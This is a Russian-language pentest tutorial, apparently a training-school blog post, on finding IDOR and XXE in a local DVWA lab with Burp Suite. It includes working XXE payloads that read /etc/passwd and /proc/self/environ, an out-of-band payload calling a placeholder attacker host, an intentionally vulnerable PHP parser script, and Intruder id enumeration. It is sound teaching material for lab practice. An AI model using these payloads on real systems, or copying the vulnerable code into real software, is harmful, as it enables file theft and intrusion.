Перейти к содержимому

Как искать IDOR и XXE на DVWA через Burp Suite — практика без готовых райтапов

Как искать IDOR и XXE на DVWA через Burp Suite — практика без готовых райтапов
Время чтения: 16 мин.

Полгода назад я убил неделю на writeup’ы по IDOR: красивые цепочки — подменил id в URL, получил чужие данные, скриншот из Burp с пруфом. Повторил каждый шаг — сработало. Потом открыл тестовое приложение без инструкции — и просидел час, не понимая, куда вообще смотреть. Проблема оказалась не в знаниях (определение IDOR я мог процитировать по памяти), а в навыке: я не умел замечать параметры в потоке трафика. Writeup показывает результат, но не тренирует глаз. Ниже — подход, который это исправил: DVWA как полигон, Burp Suite как рабочий инструмент и ноль подсказок извне.

Настройка Burp Suite для анализа веб-приложений DVWA

Прежде чем искать уязвимости веб-приложений, нужен рабочий стенд. Связка DVWA и Burp Suite для обучения собирается за десять минут.

Что понадобится:

  • Docker — инструмент контейнеризации: запускает приложения в изолированных средах, не засоряя основную систему. На Windows/macOS ставьте Docker Desktop, на Linux — пакет docker.io.
  • Burp Suite Community Edition — бесплатная версия перехватчика трафика от PortSwigger (скачивается с portswigger.net). Для всего, что описано ниже, её хватает.
  • Firefox — встроенные настройки прокси в нём не затрагивают системные, поэтому удобнее Chrome.

Шаг 1. Поднимите DVWA. Откройте терминал и выполните docker run --rm -it -p 80:80 vulnerables/web-dvwa. Docker скачает образ (при первом запуске ~300 МБ) и запустит DVWA (Damn Vulnerable Web Application — намеренно уязвимое веб-приложение для тренировки) на порту 80. По адресу http://localhost в браузере должна открыться страница входа. Логин по умолчанию — admin / password. После входа нажмите Create / Reset Database на странице Setup — без этого модули работать не будут.

Шаг 2. Настройте Burp как прокси. Запустите Burp Suite, перейдите в Proxy → Proxy settings. Убедитесь, что listener активен на 127.0.0.1:8080. Затем в Firefox: Settings → General → Network Settings → Manual proxy configuration. HTTP Proxy: 127.0.0.1, порт: 8080. С этого момента весь HTTP-трафик Firefox идёт через Burp — каждый запрос и ответ записывается в историю.

Типичная ошибка на старте: забыли переключить перехват. Во вкладке Proxy → Intercept нажмите кнопку так, чтобы стояло «Intercept is off». Если оставить «on», каждый запрос повиснет в ожидании вашего подтверждения — позже это пригодится для точечного анализа, а сейчас только мешает.

Шаг 3. Проверьте перехват и модификацию запросов. Перейдите в браузере на http://localhost/dvwa/ и откройте любой модуль (например, SQL Injection). Вернитесь в Burp → Proxy → HTTP history. Если там появились строки с запросами к localhost — стенд работает. Вы видите URL, заголовки, параметры и тело каждого запроса в открытом виде.

Уровень безопасности DVWA. Зайдите в DVWA Security и поставьте Security Level на Low. DVWA поддерживает четыре уровня: Low (без защиты — сервер принимает всё как есть), Medium (частичная фильтрация), High (серьёзная фильтрация) и Impossible (эталонная реализация, которую не сломать). Начинайте с Low — на этом уровне вы увидите чистый результат без помех. Переход на Medium и High — после того, как поняли механику атаки.

Поиск IDOR уязвимостей вручную на DVWA

IDOR (Insecure Direct Object Reference — небезопасная прямая ссылка на объект) возникает, когда приложение берёт идентификатор из пользовательского запроса для доступа к объекту (записи в базе, файлу, профилю) и не проверяет, имеет ли запрашивающий на это право. В рейтинге OWASP Top 10 (2021) это часть категории A01:2021 Broken Access Control — нарушение контроля доступа, где 94% протестированных приложений имели ту или иную форму проблемы. В отдельном рейтинге для API (OWASP API Security Top 10, 2023) IDOR занимает первую строку — API1:2023 BOLA (Broken Object Level Authorization — нарушение авторизации на уровне объекта). Названия разные, суть одна: сервер отдаёт чужое, потому что не спросил «а ты кто?».

По данным Verizon DBIR 2025, веб-атаки составляют 26% всех подтверждённых нарушений. IDOR остаётся одним из самых частых векторов массовой выгрузки данных — не потому что технически сложен, а потому что разработчики систематически забывают проверять принадлежность объекта на серверной стороне.

Зачем это злоумышленнику. Мотивация зависит от того, что доступно через IDOR:

  • Массовая выгрузка данных. Перебор числовых id (через скрипт или Burp Intruder) открывает доступ к профилям, документам и платёжным реквизитам всех пользователей базы.
  • Изменение чужих данных. Если IDOR работает не только на чтение (GET), но и на запись (PUT/PATCH/DELETE), атакующий может сменить email жертвы, сбросить пароль или подменить платёжные реквизиты.
  • Эскалация привилегий. Если ID администратора предсказуем (часто 1 или 0), замена user_id в запросе даёт доступ к админ-панели без единого эксплойта. Просто другая цифра в URL.

В терминах MITRE ATT&CK (открытая база тактик и техник атак; каждая техника имеет свой T-код — уникальный идентификатор) эксплуатация IDOR относится к T1190 Exploit Public-Facing Application (тактика Initial Access — начальный доступ): атакующий использует публично доступный API как точку входа. Когда через IDOR удаётся получить учётные данные другого пользователя — это уже T1078 Valid Accounts (использование легитимных учёток для дальнейшего продвижения). По данным CrowdStrike Global Threat Report 2025, в 75% вторжений 2024 года использовались именно действительные учётные данные.

Где прячется IDOR в трафике DVWA

IDOR — не отдельная кнопка в меню. Это паттерн, который нужно научиться видеть в потоке запросов. Откройте Burp → HTTP history и пролистайте запросы, которые DVWA отправила при обычном использовании. Ищите параметры с идентификаторами:

  • ?id=1 в URL (модуль SQL Injection — параметр id ссылается на запись в базе)
  • ?page=include.php (модуль File Inclusion — параметр page указывает на файл на сервере)
  • Cookie security=low (определяет уровень защиты — фактически параметр, который можно подменить в Burp)
  • PHPSESSID — идентификатор сессии, привязанный к конкретному пользователю

Каждый такой параметр — потенциальная точка IDOR. Вопрос, который вы задаёте для каждого: «Что если я подставлю чужое значение — проверит ли сервер, имею ли я на это право?»

Момент, на котором спотыкаются многие: в DVWA модуль SQL Injection содержит параметр ?id=1, и новичок сразу прыгает к SQL-инъекции, потому что так назван модуль. Но первая проверка пентестера — не инъекция. Первая проверка: «Если я поменяю id=1 на id=2 — получу ли я данные другого пользователя без каких-либо дополнительных манипуляций?» Это проверка на IDOR, и она должна идти до попытки SQL-инъекции.

Подмена идентификатора в Burp Repeater

Repeater — вкладка Burp для ручной отправки и модификации одиночных запросов. Вы меняете любой параметр, нажимаете Send и смотрите ответ рядом. Именно здесь начинается ручное тестирование безопасности на предмет IDOR.

Делай раз. В DVWA откройте модуль SQL Injection (URL вида http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit). Страница покажет данные пользователя с id=1. Перейдите в Burp → HTTP history и найдите этот GET-запрос. Правый клик → Send to Repeater (или Ctrl+R).

Делай два. В Repeater вы видите полный текст запроса слева. Замените id=1 на id=2. Нажмите Send. Посмотрите на ответ справа (вкладка Response, подвкладка Render или Raw). Если в теле ответа вернулись данные другого пользователя (например, Gordon Brown вместо admin) — сервер не проверил, кому принадлежит запрошенный объект. Вы нашли IDOR. На уровне Low DVWA не фильтрует параметр id — ответ будет содержать данные для любого запрошенного id.

Ожидаемый результат: в Response body видно имя и фамилию другого пользователя. Если вместо данных пришла ошибка User ID is MISSING — проверьте, что при редактировании не потеряли параметр Submit=Submit.

Делай три. Проверьте диапазон: отправьте запросы с id=3, id=4, id=5. Каждый раз фиксируйте результат. Если для каждого значения возвращаются разные данные без проверки авторизации — вы подтвердили системный IDOR.

Для массового перебора используйте Intruder (Ctrl+I из Repeater): отметьте значение id символами § как payload-позицию, установите Payload type → Numbers (от 1 до 100, шаг 1), запустите атаку. Отсортируйте результаты по столбцу Length — одинаковая длина ответа обычно означает «нет данных», отличающаяся — реальные записи, которые стоит изучить. В Community Edition Intruder работает с ограничением скорости, но для учебного стенда это не критично.

Зачем два аккаунта. В реальном пентесте для доказательства IDOR нужны минимум два аккаунта: A (от чьего имени отправляете запросы) и B (чьи данные пытаетесь получить). Без контрольного аккаунта невозможно подтвердить, что вы получили именно чужие данные, а не тестовую заглушку. В DVWA для учебных целей достаточно одного: вы видите, что id=1 и id=2 возвращают разные записи — это демонстрация отсутствия контроля доступа.

Переход от Low к Medium и High. После успеха на Low переключите уровень на Medium (DVWA Security → установите Medium → Submit). Повторите те же действия. Если IDOR всё ещё работает — зафиксируйте. Если нет — экспериментируйте: может, сервер теперь проверяет cookie, а не параметр. Или фильтрует только буквы, но пропускает числа. И только после 15–20 минут экспериментов нажмите View Source и изучите, какой механизм защиты добавлен. Сначала тестируете гипотезы, потом ищете причину — так тренируется мышление пентестера.

Эксплуатация XXE уязвимости — практика с пэйлоадами в Burp Suite

XXE (XML External Entity injection — инъекция внешних XML-сущностей) — уязвимость, через которую атакующий вмешивается в обработку XML-данных на стороне сервера. По классификации OWASP Top 10 (2021) XXE входит в категории A03:2021 Injection и A05:2021 Security Misconfiguration — проблема одновременно в инъекции пользовательских данных и в небезопасной конфигурации XML-парсера (программного компонента, который разбирает XML-документы).

Зачем это атакующему. Успешная XXE-атака открывает несколько векторов:

  • Чтение файлов с сервера — конфигурационные файлы с паролями к базам данных, ключами API, приватными ключами.
  • SSRF (Server-Side Request Forgery — подделка запросов на стороне сервера, A10:2021 в OWASP): через XXE можно заставить сервер обратиться к внутренним ресурсам — например, получить ключи из облачного metadata-сервиса (AWS 169.254.169.254, Azure IMDS).
  • Отказ в обслуживании — классический «Billion Laughs»: рекурсивное определение сущностей, при котором парсер пытается развернуть гигабайты данных в памяти.

По данным PortSwigger, XXE-уязвимости возникают не потому, что XML-парсеры небезопасны по умолчанию — большинство современных библиотек отключают внешние сущности. Проблема в устаревшем коде, явном включении опасных функций разработчиками и сторонних библиотеках с небезопасными настройками. По данным YesWeHack (bug bounty платформа), XXE также прячется в загрузке файлов: форматы DOCX, XLSX и SVG — это ZIP-архивы с XML внутри, и XML-парсер вызывается неявно при их обработке.

Как работает XML External Entity injection

XML (eXtensible Markup Language) позволяет определять сущности (entities) — по сути, переменные, значения которых подставляются в документ. Внешние сущности (external entities) загружают значение из файла или URL. Если XML-парсер обрабатывает документ с такой сущностью без ограничений — он подставляет содержимое указанного ресурса прямо в документ.

Нормальный XML-запрос к приложению (пример из документации PortSwigger) выглядит как <stockCheck><productId>381</productId></stockCheck>. Атакующий добавляет перед корневым элементом объявление DOCTYPE (Document Type Definition — определение типа документа) с внешней сущностью:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Разберём каждую часть. <!DOCTYPE foo [...]> — объявление DTD с произвольным именем foo. Внутри: <!ENTITY xxe SYSTEM "file:///etc/passwd"> — определение внешней сущности xxe, значение которой загружается из файла /etc/passwd. Ключевое слово SYSTEM говорит парсеру: «загрузи содержимое из указанного URI». Ссылка &xxe; в теле документа подставляет загруженное содержимое вместо productId. Если парсер не ограничивает внешние сущности — ответ сервера будет содержать строки вида root:x:0:0:root:/root:/bin/bash.

Методология тестирования XXE через Repeater

DVWA сам по себе не принимает XML в каждом модуле — большинство форм передают данные в формате application/x-www-form-urlencoded (обычные пары «ключ=значение»). Но задача — научиться распознавать XML-эндпоинты в трафике и тестировать их. Для практики создайте простой уязвимый PHP-скрипт рядом с DVWA — это занимает две минуты и полностью соответствует подходу «собственный стенд вместо готового модуля». Если DVWA запущена через Docker, скопируйте файл внутрь контейнера: docker cp xxe_test.php <container_id>:/var/www/html/xxe_test.php (ID контейнера узнайте командой docker ps).

<?php
// Намеренно уязвимый код для обучения
$xml = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT);
$data = simplexml_import_dom($dom);
echo "Получено: " . $data->name;
?>

Скрипт принимает XML из тела POST-запроса, парсит его с флагом LIBXML_NOENT (разрешает подстановку сущностей) и выводит содержимое тега <name>. Это намеренно уязвимый код — в боевом приложении LIBXML_NOENT не должен использоваться с пользовательскими данными.

Делай раз. В Burp Repeater создайте новый запрос (значок «+» для новой вкладки). Укажите метод POST, URL http://localhost/xxe_test.php. В заголовках поставьте Content-Type: application/xml. В тело запроса вставьте обычный XML: <user><name>test</name></user>. Нажмите Send. В ответе должен быть текст Получено: test. Видите его — эндпоинт принимает и обрабатывает XML. Получили ошибку 404 — проверьте, что файл скопирован в правильную директорию контейнера.

Делай два. Замените тело запроса на пэйлоад с внешней сущностью: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><name>&xxe;</name></user>. Нажмите Send. Если парсер уязвим, в ответе вместо test появится содержимое /etc/passwd — список учётных записей системы. Строка root:x:0:0:root:/root:/bin/bash в ответе подтверждает успешную эксплуатацию XXE.

Делай три. Попробуйте другие файлы. Замените file:///etc/passwd на file:///etc/hostname (имя сервера) или file:///proc/self/environ (переменные окружения — там могут храниться пароли и ключи). Каждый раз отправляйте запрос через Repeater и читайте ответ. Часть файлов парсер не сможет подставить из-за спецсимволов (переносов строк, символов < и & в содержимом) — это нормально, запишите результат и двигайтесь дальше.

Blind XXE — когда ответ молчит

Не всегда сервер возвращает содержимое сущности в ответе. Такой случай называют blind XXE (слепая XXE, по аналогии с blind SQL injection). Приложение уязвимо — парсер обрабатывает внешние сущности — но данные не отображаются на экране. Нужен обходной путь. Два основных метода (по данным PortSwigger):

Out-of-band (OOB, внеполосный метод). Вместо file:// подставьте URL контролируемого сервера: <!ENTITY xxe SYSTEM "http://ваш-ip:9999/xxe_probe">. Если сервер-жертва обратится по этому адресу — парсер обрабатывает внешние сущности, уязвимость подтверждена. Для проверки поднимите простой HTTP-сервер командой python3 -m http.server 9999 на своей машине и смотрите входящие запросы в терминале. Если в логе появилась строка GET /xxe_probe — blind XXE работает. В Burp Suite Professional для этого есть Burp Collaborator, но для учебного стенда хватает python3 -m http.server.

Error-based (через ошибки парсера). Создаётся сущность, ссылающаяся на несуществующий файл, путь которого содержит значение другой сущности (с чувствительными данными). Парсер генерирует ошибку вида FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash — и данные утекают через текст ошибки. Метод сложнее OOB, но работает, когда исходящие соединения заблокированы.

Для практики blind XXE: измените тестовый PHP-скрипт, убрав строку echo — теперь ответ сервера пуст. Повторите OOB-метод: отправьте через Repeater пэйлоад с SYSTEM "http://127.0.0.1:9999/blind_test" и проверьте терминал с HTTP-сервером. Появление запроса в логе при пустом ответе от скрипта — подтверждение blind XXE.

Самостоятельный пентест DVWA без готовых райтапов

Главная ценность связки DVWA и Burp Suite — не в повторении чужих шагов, а в выработке собственной методологии обнаружения уязвимостей. Writeup учит «как было». Собственный Burp-проект учит «как искать».

Как строить Burp-проект для обучения пентесту веб-приложений

Начните с разведки, а не с атаки. Пройдите DVWA как обычный пользователь: залогиньтесь, откройте каждый модуль, заполните формы, отправьте данные. Не перехватывайте, не модифицируйте — просто генерируйте трафик. Затем откройте HTTP history и изучите каждый запрос:

  • Какие параметры передаются?
  • Где идентификаторы (числа, строки, токены)?
  • Какой Content-Type у запроса (application/x-www-form-urlencoded, application/json, application/xml)?
  • Есть ли заголовки с пользовательскими данными (Cookie, Authorization, X-User-ID)?

Именно этот этап — анализ трафика до попытки атаки — отличает начинающего пентестера от человека, копирующего writeup. Ручное тестирование безопасности начинается с наблюдения.

Ведите журнал в Burp. Для каждого обнаруженного параметра создавайте заметку (правый клик на запросе → Add comment). Формат: «id в URL — возможен IDOR, проверить подмену» или «POST-форма — Content-Type urlencoded, попробовать XML». Через час работы у вас будет карта всех точек входа DVWA — созданная вами, а не скопированная из чужого разбора.

Разделяйте классы уязвимостей. На каждом модуле DVWA задавайте три вопроса:

  1. Есть ли здесь broken access control? Могу ли я получить доступ к чужим данным, изменив идентификатор? Это проверка на IDOR.
  2. Есть ли здесь инъекция? Могу ли я вставить свой код или команду в параметр? Это проверка на SQL-инъекцию, command injection или XXE.
  3. Есть ли здесь проблема конфигурации? Принимает ли сервер данные в неожиданном формате?

Третий вопрос — ключ к обнаружению XXE в реальных приложениях. По данным YesWeHack, многие API-фреймворки (Spring Boot, Express) автоматически включают XML-парсер, если сменить заголовок Content-Type с application/json на application/xml — даже если разработчики не планировали поддержку XML. Попробуйте это на DVWA: перехватите POST-запрос в Repeater, смените Content-Type и отправьте XML-тело вместо обычных параметров. Наблюдайте реакцию: 400 Bad Request, 500 Internal Server Error или неожиданный 200 OK — каждый из этих ответов несёт информацию о том, как устроен сервер.

Повышайте уровень после каждого успеха. Нашли IDOR на Low — переключите на Medium. Не получилось обойти фильтрацию? Не открывайте View Source сразу. Потратьте 15–20 минут на эксперименты: измените формат параметра, добавьте URL-кодирование, попробуйте отправить запрос другим методом (POST вместо GET). Только после серии неудач смотрите исходный код защиты. Так тренируются практические навыки пентестера: сначала гипотеза и проверка, потом анализ причины.

Формируйте привычку. Каждую сессию завершайте записью: что проверили, что сработало, что нет, какие гипотезы остались. Через месяц такой практики ваш Burp-проект станет рабочим портфолио — в отличие от стопки прочитанных writeup’ов, которые забываются через день. Этот подход — перехват, анализ, гипотеза, проверка — и есть методология ручного тестирования безопасности веб-приложений. Не набор чеклистов, а способ мышления.

По моему опыту, разрыв между «понимаю уязвимость» и «могу найти её в незнакомом приложении» — самый болезненный в обучении пентесту. Writeup’ы создают иллюзию навыка. Ты повторил чужие шаги, получил результат, записал в резюме «знаю IDOR и XXE». А на реальном проекте — пустой HTTP history и непонимание, с чего начать.

DVWA — не единственный тренажёр, Burp Suite — не единственный инструмент. Но связка «уязвимый стенд + перехватчик + журнал наблюдений» работает надёжнее любого объёма теории. Три условия: ставьте задачу до начала сессии («сегодня ищу IDOR в трёх модулях на Medium»), фиксируйте каждую гипотезу, не подглядывайте в исходный код до попытки.

XXE сейчас встречается реже классического IDOR — современные парсеры по умолчанию блокируют внешние сущности. Но XXE живёт в legacy-коде, в обработке загрузок (DOCX, SVG, XLSX — ZIP-архивы с XML внутри) и в API, которые тихо принимают XML при смене Content-Type. Тренировать навык распознавания XML в трафике стоит уже сейчас, пока есть время на стенде, — в боевом проекте он понадобится неожиданно. Если чувствуете, что ковыряетесь в DVWA без системы и хочется структуры — на codeby.school есть IB Basics, где базу закрывают за пару месяцев не через терминологию, а через задачи.

Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.